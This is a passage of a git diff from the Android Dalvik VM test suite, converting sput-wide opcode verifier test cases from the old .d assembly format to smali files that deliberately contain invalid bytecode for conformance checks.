rename from tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_20.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_20.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_20.smali
new file mode 100644
index 0000000..8563e8e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_20.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_20;
+.super Ljava/lang/Object;
+.source "T_sput_wide_20.java"
+
+
+# static fields
+.field public static st_o:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    sput-wide p0, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_20;->st_o:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_21.d
deleted file mode 100644
index 04cf574..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_21.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_21.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_21
-.super java/lang/Object
-
-.field public static st_c C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const-wide v0, 12    
-       sput-wide v0, dot.junit.opcodes.sput_wide.d.T_sput_wide_21.st_c C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_21.smali
new file mode 100644
index 0000000..8ee02ad
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_21.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_21.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_21;
+.super  Ljava/lang/Object;
+
+.field public static st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const-wide v0, 12    
+       sput-wide v0, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_21;->st_c:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_22.d
deleted file mode 100644
index d89d3cf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_22.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_22.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_22
-.super java/lang/Object
-
-.field public static st_i I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const-wide v0, 1    
-       sput-wide v0, dot.junit.opcodes.sput_wide.d.T_sput_wide_22.st_i I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_22.smali
new file mode 100644
index 0000000..9401ccc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_22.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_22.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_22;
+.super  Ljava/lang/Object;
+
+.field public static st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const-wide v0, 1    
+       sput-wide v0, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_22;->st_i:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_23.d
deleted file mode 100644
index da254f8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_23.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_23.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_23
-.super java/lang/Object
-
-.field public static st_b B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const-wide v0, 1    
-       sput-wide v0, dot.junit.opcodes.sput_wide.d.T_sput_wide_23.st_b B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_23.smali
new file mode 100644
index 0000000..ba939a4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_23.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_23.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_23;
+.super  Ljava/lang/Object;
+
+.field public static st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const-wide v0, 1    
+       sput-wide v0, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_23;->st_b:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_24.d
deleted file mode 100644
index e663946..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_24.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_24.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_24
-.super java/lang/Object
-
-.field public static st_z Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const-wide v0, 1    
-       sput-wide v0, dot.junit.opcodes.sput_wide.d.T_sput_wide_24.st_z Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_24.smali
new file mode 100644
index 0000000..e7587ed
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_24.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_24.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_24;
+.super  Ljava/lang/Object;
+
+.field public static st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const-wide v0, 1    
+       sput-wide v0, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_24;->st_z:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_3.d
deleted file mode 100644
index 344db70..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_3.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_3
-.super java/lang/Object
-
-.field public static st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       sput-wide v0, dot.junit.opcodes.sput_wide.d.T_sput_wide_3.st_i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_3.smali
new file mode 100644
index 0000000..5ca6ca5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_3.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_3;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       sput-wide v0, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_3;->st_i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_4.d
deleted file mode 100644
index 0f29358..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_4.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_4
-.super java/lang/Object
-
-.field public static st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-wide v3, dot.junit.opcodes.sput_wide.d.T_sput_wide_4.st_i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_4.smali
new file mode 100644
index 0000000..0309a6f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_4.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_4;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-wide v3, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_4;->st_i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_5.d
deleted file mode 100644
index 0918986..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_5.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_5.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_5
-.super java/lang/Object
-
-.field public static st_i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
-.method public run()V
-.limit regs 3
-
-       const-wide v1, 0.5
-       sput-wide v1, dot.junit.opcodes.sput_wide.d.T_sput_wide_5.st_i1 D
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_5.smali
new file mode 100644
index 0000000..e6ca604
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_5.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_5.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_5;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 0.5
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_5;->st_i1:D
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_6.d
deleted file mode 100644
index 1552b40..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_6.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_6.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_6
-.super java/lang/Object
-
-.field public static st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       sput-wide v0, dot.junit.opcodes.sput_wide.d.T_sput_wide_6.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_6.smali
new file mode 100644
index 0000000..56e0b03
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_6.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_6.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_6;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       sput-wide v0, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_6;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_7.d
deleted file mode 100644
index 726dfff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_7.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_7
-.super java/lang/Object
-
-.field public st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v1, 0
-       sput-wide v1, dot.junit.opcodes.sput_wide.d.T_sput_wide_7.st_i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_7.smali
new file mode 100644
index 0000000..de441c7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_7.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_7;
+.super  Ljava/lang/Object;
+
+.field public st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 0
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_7;->st_i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_8.d
deleted file mode 100644
index f14a34c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_8.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v1, 0
-       sput-wide v1, dot.junit.opcodes.sput_wide.TestStubs.TestStubField J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_8.smali
new file mode 100644
index 0000000..c3cc09a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_8.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 0
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/TestStubs;->TestStubField:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_9.d
deleted file mode 100644
index 64f57d6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_9.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_9
-.super java/lang/Object
-
-.field public st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v1, 0
-       sput-wide v1, dot.junit.opcodes.sput_wide.d.T_sput_wide_9noclass.st_i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_9.smali
new file mode 100644
index 0000000..4c362b2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
